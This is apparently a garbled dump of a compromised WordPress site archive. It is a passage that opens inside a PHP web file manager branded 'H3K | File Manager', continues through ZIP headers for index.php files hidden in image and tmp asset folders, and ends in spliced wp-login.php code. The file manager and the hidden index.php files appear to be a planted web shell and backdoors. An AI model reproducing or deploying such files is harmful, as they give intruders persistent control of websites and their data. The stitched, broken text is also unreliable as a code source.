'docx': $img = 'fa fa-file-word-o'; break; case 'ppt': case 'pptx': $img = 'fa fa-file-powerpoint-o'; break; case 'ttf': case 'ttc': case 'otf': case 'woff':case 'woff2': case 'eot': case 'fon': $img = 'fa fa-font'; break; case 'pdf': $img = 'fa fa-file-pdf-o'; break; case 'psd': case 'ai': case 'eps': case 'fla': case 'swf': $img = 'fa fa-file-image-o'; break; case 'exe': case 'msi': $img = 'fa fa-file-o'; break; case 'bat': $img = 'fa fa-terminal'; break; default: $img = 'fa fa-info-circle'; } return $img; } /** * Get image files extensions * @return array */ function fm_get_image_exts() { return array('ico', 'gif', 'jpg', 'jpeg', 'jpc', 'jp2', 'jpx', 'xbm', 'wbmp', 'png', 'bmp', 'tif', 'tiff', 'psd'); } /** * Get video files extensions * @return array */ function fm_get_video_exts() { return array('webm', 'mp4', 'm4v', 'ogm', 'ogv', 'mov'); } /** * Get audio files extensions * @return array */ function fm_get_audio_exts() { return array('wav', 'mp3', 'ogg', 'm4a'); } /** * Get text file extensions * @return array */ function fm_get_text_exts() { return array( 'txt', 'css', 'ini', 'conf', 'log', 'htaccess', 'passwd', 'ftpquota', 'sql', 'js', 'json', 'sh', 'config', 'php', 'php4', 'php5', 'phps', 'phtml', 'htm', 'html', 'shtml', 'xhtml', 'xml', 'xsl', 'm3u', 'm3u8', 'pls', 'cue', 'eml', 'msg', 'csv', 'bat', 'twig', 'tpl', 'md', 'gitignore', 'less', 'sass', 'scss', 'c', 'cpp', 'cs', 'py', 'map', 'lock', 'dtd', 'svg', ); } /** * Get mime types of text files * @return array */ function fm_get_text_mimes() { return array( 'application/xml', 'application/javascript', 'application/x-javascript', 'image/svg+xml', 'message/rfc822', ); } /** * Get file names of text files w/o extensions * @return array */ function fm_get_text_names() { return array( 'license', 'readme', 'authors', 'contributors', 'changelog', ); } /** * Class to work with zip files (using ZipArchive) */ class FM_Zipper { private $zip; public function __construct() { $this->zip = new ZipArchive(); } /** * Create archive with name $filename and files $files (RELATIVE PATHS!) * @param string $filename * @param array|string $files * @return bool */ public function create($filename, $files) { $res = $this->zip->open($filename, ZipArchive::CREATE); if ($res !== true) { return false; } if (is_array($files)) { foreach ($files as $f) { if (!$this->addFileOrDir($f)) { $this->zip->close(); return false; } } $this->zip->close(); return true; } else { if ($this->addFileOrDir($files)) { $this->zip->close(); return true; } return false; } } /** * Extract archive $filename to folder $path (RELATIVE OR ABSOLUTE PATHS) * @param string $filename * @param string $path * @return bool */ public function unzip($filename, $path) { $res = $this->zip->open($filename); if ($res !== true) { return false; } if ($this->zip->extractTo($path)) { $this->zip->close(); return true; } return false; } /** * Add file/folder to archive * @param string $filename * @return bool */ private function addFileOrDir($filename) { if (is_file($filename)) { return $this->zip->addFile($filename); } elseif (is_dir($filename)) { return $this->addDir($filename); } return false; } /** * Add folder recursively * @param string $path * @return bool */ private function addDir($path) { if (!$this->zip->addEmptyDir($path)) { return false; } $objects = scandir($path); if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' && $file != '..') { if (is_dir($path . '/' . $file)) { if (!$this->addDir($path . '/' . $file)) { return false; } } elseif (is_file($path . '/' . $file)) { if (!$this->zip->addFile($path . '/' . $file)) { return false; } } } } return true; } return false; } } //--- templates functions /** * Show nav block * @param string $path */ function fm_show_nav_path($path) { global $lang; ?> ' . $_SESSION['message'] . '

    '; unset($_SESSION['message']); unset($_SESSION['status']); } } /** * Show page header in Login Form */ function fm_show_header_login() { $sprites_ver = '20160315'; header("Content-Type: text/html; charset=utf-8"); header("Expires: Sat, 26 Jul 1997 05:00:00 GMT"); header("Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0"); header("Pragma: no-cache"); global $lang; ?> H3K | File Manager
    H3K | File Manager
    X

    Create New Item

    File Folder

    X

    Search Results

    'iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJ bWFnZVJlYWR5ccllPAAAAZVJREFUeNqkk79Lw0AUx1+uidTQim4Waxfpnl1BcHMR6uLkIF0cpYOI f4KbOFcRwbGTc0HQSVQQXCqlFIXgFkhIyvWS870LaaPYH9CDy8vdfb+fey930aSUMEvT6VHVzw8x rKUX3N3Hj/8M+cZ6GcOtBPl6KY5iAA7KJzfVWrfbhUKhALZtQ6myDf1+X5nsuzjLUmUOnpa+v5r1 Z4ZDDfsLiwER45xDEATgOI6KntfDd091GidzC8vZ4vH1QQ09+4MSMAMWRREKPMhmsyr6voYmrnb2 PKEizdEabUaeFCDKCCHAdV0wTVNFznMgpVqGlZ2cipzHGtKSZwCIZJgJwxB38KHT6Sjx21V75Jcn LXmGAKTRpGVZUx2dAqQzSEqw9kqwuGqONTufPrw37D8lQFxCvjgPXIixANLEGfwuQacMOC4kZz+q GdhJS550BjpRCdCbAJCMJRkMASEIg+4Bxz4JwAwDSEueAYDLIM+QrOk6GHiRxjXSkJY8KUCvdXZ6 kbuvNx+mOcbN9taGBlpLAWf9nX8EGADoCfqkKWV/cgAAAABJRU5ErkJggg==', 'sprites' => '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 RK5CYII=', ); } ?> PKn 5\uܝ1assets/modules/img/2025/tmp/images/vftw/index.phpnuW+A' . $content); ?>PKn 5\?K$assets/2025/content/js/tpr/index.phpnuW+A` element. * Default 'Log In'. * @param string $message Optional. Message to display in header. Default empty. * @param WP_Error $wp_error Optional. The error to pass. Default is a WP_Error instance. */ function login_header( $title = 'Log In', $message = '', $wp_error = null ) { global $error, $interim_login, $action; // Don't index any of these forms. add_filter( 'wp_robots', 'wp_robots_sensitive_page' ); add_action( 'login_head', 'wp_strict_cross_origin_referrer' ); add_action( 'login_head', 'wp_login_viewport_meta' ); if ( ! is_wp_error( $wp_error ) ) { $wp_error = new WP_Error(); } // Shake it! $shake_error_codes = array( 'empty_password', 'empty_email', 'invalid_email', 'invalidcombo', 'empty_username', 'invalid_username', 'incorrect_password', 'retrieve_password_email_failure' ); /** * Filters the error codes array for shaking the login form. * * @since 3.0.0 * * @param array $shake_error_codes Error codes that shake the login form. */ $shake_error_codes = apply_filters( 'shake_error_codes', $shake_error_codes ); if ( $shake_error_codes && $wp_error->has_errors() && in_array( $wp_error->get_error_code(), $shake_error_codes, true ) ) { add_action( 'login_footer', 'wp_shake_js', 12 ); } $login_title = get_bloginfo( 'name', 'display' ); /* translators: Login screen title. 1: Login screen name, 2: Network or site name. */ $login_title = sprintf( __( '%1$s ‹ %2$s — WordPress' ), $title, $login_title ); if ( wp_is_recovery_mode() ) { /* translators: %s: Login screen title. */ $login_title = sprintf( __( 'Recovery Mode — %s' ), $login_title ); } /** * Filters the title tag content for login page. * * @since 4.9.0 * * @param string $login_title The page title, with extra context added. * @param string $title The original page title. */ $login_title = apply_filters( 'login_title', $login_title, $title ); ?> > <?php echo $login_title; ?> get_error_code() ) { ?>

    add( 'error', $error ); unset( $error ); } if ( $wp_error->has_errors() ) { $errors = ''; $messages = ''; foreach ( $wp_error->get_error_codes() as $code ) { $severity = $wp_error->get_error_data( $code ); foreach ( $wp_error->get_error_messages( $code ) as $error_message ) { if ( 'message' === $severity ) { $messages .= ' ' . $error_message . "
    \n"; } else { $errors .= ' ' . $error_message . "
    \n"; } } } if ( ! empty( $errors ) ) { /** * Filters the error messages displayed above the login form. * * @since 2.1.0 * * @param string $errors Login error message. */ echo '
    ' . apply_filters( 'login_errors', $errors ) . "
    \n"; } if ( ! empty( $messages ) ) { /** * Filters instructional messages displayed above the login form. * * @since 2.5.0 * * @param string $messages Login messages. */ echo '

    ' . apply_filters( 'login_messages', $messages ) . "

    \n"; } } } // End of login_header(). /** * Outputs the footer for the login page. * * @since 3.1.0 * * @global bool|string $interim_login Whether interim login modal is being displayed. String 'success' * upon successful login. * * @param string $input_id Which input to auto-focus. */ function login_footer( $input_id = '' ) { global $interim_login; // Don't allow interim logins to navigate away from the page. if ( ! $interim_login ) { ?>

    %s', esc_url( home_url( '/' ) ), sprintf( /* translators: %s: Site title. */ _x( '← Go to %s', 'site' ), get_bloginfo( 'title', 'display' ) ) ); /** * Filter the "Go to site" link displayed in the login page footer. * * @since 5.7.0 * * @param string $link HTML link to the home URL of the current site. */ echo apply_filters( 'login_site_html_link', $html_link ); ?>

    ', '
    ' ); } ?> . ?>
    0 ) { update_option( 'admin_email_lifespan', time() + $remind_interval ); } $redirect_to = add_query_arg( 'admin_email_remind_later', 1, $redirect_to ); wp_safe_redirect( $redirect_to ); exit; } if ( ! empty( $_POST['correct-admin-email'] ) ) { if ( ! check_admin_referer( 'confirm_admin_email', 'confirm_admin_email_nonce' ) ) { wp_safe_redirect( wp_login_url() ); exit; } /** * Filters the interval for redirecting the user to the admin email confirmation screen. * * If `0` (zero) is returned, the user will not be redirected. * * @since 5.3.0 * * @param int $interval Interval time (in seconds). Default is 6 months. */ $admin_email_check_interval = (int) apply_filters( 'admin_email_check_interval', 6 * MONTH_IN_SECONDS ); if ( $admin_email_check_interval > 0 ) { update_option( 'admin_email_lifespan', time() + $admin_email_check_interval ); } wp_safe_redirect( $redirect_to ); exit; } login_header( __( 'Confirm your administration email' ), '', $errors ); /** * Fires before the admin email confirm form. * * @since 5.3.0 * * @param WP_Error $errors A `WP_Error` object containing any errors generated by using invalid * credentials. Note that the error object may not contain any errors. */ do_action( 'admin_email_confirm', $errors ); ?>

    administration email for this website is still correct.' ); ?> %s', __( '(opens in a new tab)' ) ); printf( '%s%s', esc_url( $admin_email_help_url ), __( 'Why is this important?' ), $accessibility_text ); ?>

    ' . esc_html( $admin_email ) . '' ); ?>

    0 ) : ?>
    'confirm_admin_email', 'remind_me_later' => wp_create_nonce( 'remind_me_later_nonce' ), ), $remind_me_link ); ?>
    HashPassword( wp_unslash( $_POST['post_password'] ) ), $expire, COOKIEPATH, COOKIE_DOMAIN, $secure ); wp_safe_redirect( wp_get_referer() ); exit; case 'logout': check_admin_referer( 'log-out' ); $user = wp_get_current_user(); wp_logout(); if ( ! empty( $_REQUEST['redirect_to'] ) ) { $redirect_to = $_REQUEST['redirect_to']; $requested_redirect_to = $redirect_to; } else { $redirect_to = add_query_arg( array( 'loggedout' => 'true', 'wp_lang' => get_user_locale( $user ), ), wp_login_url() ); $requested_redirect_to = ''; } /** * Filters the log out redirect URL. * * @since 4.2.0 * * @param string $redirect_to The redirect destination URL. * @param string $requested_redirect_to The requested redirect destination URL passed as a parameter. * @param WP_User $user The WP_User object for the user that's logging out. */ $redirect_to = apply_filters( 'logout_redirect', $redirect_to, $requested_redirect_to, $user ); wp_safe_redirect( $redirect_to ); exit; case 'lostpassword': case 'retrievepassword': if ( $http_post ) { $errors = retrieve_password(); if ( ! is_wp_error( $errors ) ) { $redirect_to = ! empty( $_REQUEST['redirect_to'] ) ? $_REQUEST['redirect_to'] : 'wp-login.php?checkemail=confirm'; wp_safe_redirect( $redirect_to ); exit; } } if ( isset( $_GET['error'] ) ) { if ( 'invalidkey' === $_GET['error'] ) { $errors->add( 'invalidkey', __( 'Error: Your password reset link appears to be invalid. Please request a new link below.' ) ); } elseif ( 'expiredkey' === $_GET['error'] ) { $errors->add( 'expiredkey', __( 'Error: Your password reset link has expired. Please request a new link below.' ) ); } } $lostpassword_redirect = ! empty( $_REQUEST['redirect_to'] ) ? $_REQUEST['redirect_to'] : ''; /** * Filters the URL redirected to after submitting the lostpassword/retrievepassword form. * * @since 3.0.0 * * @param string $lostpassword_redirect The redirect destination URL. */ $redirect_to = apply_filters( 'lostpassword_redirect', $lostpassword_redirect ); /** * Fires before the lost password form. * * @since 1.5.1 * @since 5.1.0 Added the `$errors` parameter. * * @param WP_Error $errors A `WP_Error` object containing any errors generated by using invalid * credentials. Note that the error object may not contain any errors. */ do_action( 'lost_password', $errors ); login_header( __( 'Lost Password' ), '

    ' . __( 'Please enter your username or email address. You will receive an email message with instructions on how to reset your password.' ) . '

    ', $errors ); $user_login = ''; if ( isset( $_POST['user_login'] ) && is_string( $_POST['user_login'] ) ) { $user_login = wp_unslash( $_POST['user_login'] ); } ?>

    get_error_code() === 'expired_key' ) { wp_redirect( site_url( 'wp-login.php?action=lostpassword&error=expiredkey' ) ); } else { wp_redirect( site_url( 'wp-login.php?action=lostpassword&error=invalidkey' ) ); } exit; } $errors = new WP_Error(); if ( isset( $_POST['pass1'] ) && $_POST['pass1'] !== $_POST['pass2'] ) { $errors->add( 'password_reset_mismatch', __( 'Error: The passwords do not match.' ) ); } /** * Fires before the password reset procedure is validated. * * @since 3.5.0 * * @param WP_Error $errors WP Error object. * @param WP_User|WP_Error $user WP_User object if the login and reset key match. WP_Error object otherwise. */ do_action( 'validate_password_reset', $errors, $user ); if ( ( ! $errors->has_errors() ) && isset( $_POST['pass1'] ) && ! empty( $_POST['pass1'] ) ) { reset_password( $user, $_POST['pass1'] ); setcookie( $rp_cookie, ' ', time() - YEAR_IN_SECONDS, $rp_path, COOKIE_DOMAIN, is_ssl(), true ); login_header( __( 'Password Reset' ), '

    ' . __( 'Your password has been reset.' ) . ' ' . __( 'Log in' ) . '

    ' ); login_footer(); exit; } wp_enqueue_script( 'utils' ); wp_enqueue_script( 'user-profile' ); login_header( __( 'Reset Password' ), '

    ' . __( 'Enter your new password below or generate one.' ) . '

    ', $errors ); ?>


    ' . __( 'Register For This Site' ) . '

    ', $errors ); ?>


    add( 'confirm', sprintf( /* translators: %s: Link to the login page. */ __( 'Check your email for the confirmation link, then visit the login page.' ), wp_login_url() ), 'message' ); } elseif ( 'registered' === $_GET['checkemail'] ) { $errors->add( 'registered', sprintf( /* translators: %s: Link to the login page. */ __( 'Registration complete. Please check your email, then visit the login page.' ), wp_login_url() ), 'message' ); } /** This action is documented in wp-login.php */ $errors = apply_filters( 'wp_login_errors', $errors, $redirect_to ); login_header( __( 'Check your email' ), '', $errors ); login_footer(); break; case 'confirmaction': if ( ! isset( $_GET['request_id'] ) ) { wp_die( __( 'Missing request ID.' ) ); } if ( ! isset( $_GET['confirm_key'] ) ) { wp_die( __( 'Missing confirm key.' ) ); } $request_id = (int) $_GET['request_id']; $key = sanitize_text_field( wp_unslash( $_GET['confirm_key'] ) ); $result = wp_validate_user_request_key( $request_id, $key ); if ( is_wp_error( $result ) ) { wp_die( $result ); } /** * Fires an action hook when the account action has been confirmed by the user. * * Using this you can assume the user has agreed to perform the action by * clicking on the link in the confirmation email. * * After firing this action hook the page will redirect to wp-login a callback * redirects or exits first. * * @since 4.9.6 * * @param int $request_id Request ID. */ do_action( 'user_request_action_confirmed', $request_id ); $message = _wp_privacy_account_request_confirmed_message( $request_id ); login_header( __( 'User action confirmed.' ), $message ); login_footer(); exit; case 'login': default: $secure_cookie = ''; $customize_login = isset( $_REQUEST['customize-login'] ); if ( $customize_login ) { wp_enqueue_script( 'customize-base' ); } // If the user wants SSL but the session is not SSL, force a secure cookie. if ( ! empty( $_POST['log'] ) && ! force_ssl_admin() ) { $user_name = sanitize_user( wp_unslash( $_POST['log'] ) ); $user = get_user_by( 'login', $user_name ); if ( ! $user && strpos( $user_name, '@' ) ) { $user = get_user_by( 'email', $user_name ); } if ( $user ) { if ( get_user_option( 'use_ssl', $user->ID ) ) { $secure_cookie = true; force_ssl_admin( true ); } } } if ( isset( $_REQUEST['redirect_to'] ) ) { $redirect_to = $_REQUEST['redirect_to']; // Redirect to HTTPS if user wants SSL. if ( $secure_cookie && false !== strpos( $redirect_to, 'wp-admin' ) ) { $redirect_to = preg_replace( '|^http://|', 'https://', $redirect_to ); } } else { $redirect_to = admin_url(); } $reauth = empty( $_REQUEST['reauth'] ) ? false : true; $user = wp_signon( array(), $secure_cookie ); if ( empty( $_COOKIE[ LOGGED_IN_COOKIE ] ) ) { if ( headers_sent() ) { $user = new WP_Error( 'test_cookie', sprintf( /* translators: 1: Browser cookie documentation URL, 2: Support forums URL. */ __( 'Error: Cookies are blocked due to unexpected output. For help, please see this documentation or try the support forums.' ), __( 'https://wordpress.org/support/article/cookies/' ), __( 'https://wordpress.org/support/forums/' ) ) ); } elseif ( isset( $_POST['testcookie'] ) && empty( $_COOKIE[ TEST_COOKIE ] ) ) { // If cookies are disabled, we can't log in even with a valid user and password. $user = new WP_Error( 'test_cookie', sprintf( /* translators: %s: Browser cookie documentation URL. */ __( 'Error: Cookies are blocked or not supported by your browser. You must enable cookies to use WordPress.' ), __( 'https://wordpress.org/support/article/cookies/#enable-cookies-in-your-browser' ) ) ); } } $requested_redirect_to = isset( $_REQUEST['redirect_to'] ) ? $_REQUEST['redirect_to'] : ''; /** * Filters the login redirect URL. * * @since 3.0.0 * * @param string $redirect_to The redirect destination URL. * @param string $requested_redirect_to The requested redirect destination URL passed as a parameter. * @param WP_User|WP_Error $user WP_User object if login was successful, WP_Error object otherwise. */ $redirect_to = apply_filters( 'login_redirect', $redirect_to, $requested_redirect_to, $user ); if ( ! is_wp_error( $user ) && ! $reauth ) { if ( $interim_login ) { $message = '

    ' . __( 'You have logged in successfully.' ) . '

    '; $interim_login = 'success'; login_header( '', $message ); ?> exists() && $user->has_cap( 'manage_options' ) ) { $admin_email_lifespan = (int) get_option( 'admin_email_lifespan' ); // If `0` (or anything "falsey" as it is cast to int) is returned, the user will not be redirected // to the admin email confirmation screen. /** This filter is documented in wp-login.php */ $admin_email_check_interval = (int) apply_filters( 'admin_email_check_interval', 6 * MONTH_IN_SECONDS ); if ( $admin_email_check_interval > 0 && time() > $admin_email_lifespan ) { $redirect_to = add_query_arg( array( 'action' => 'confirm_admin_email', 'wp_lang' => get_user_locale( $user ), ), wp_login_url( $redirect_to ) ); } } if ( ( empty( $redirect_to ) || 'wp-admin/' === $redirect_to || admin_url() === $redirect_to ) ) { // If the user doesn't belong to a blog, send them to user admin. If the user can't edit posts, send them to their profile. if ( is_multisite() && 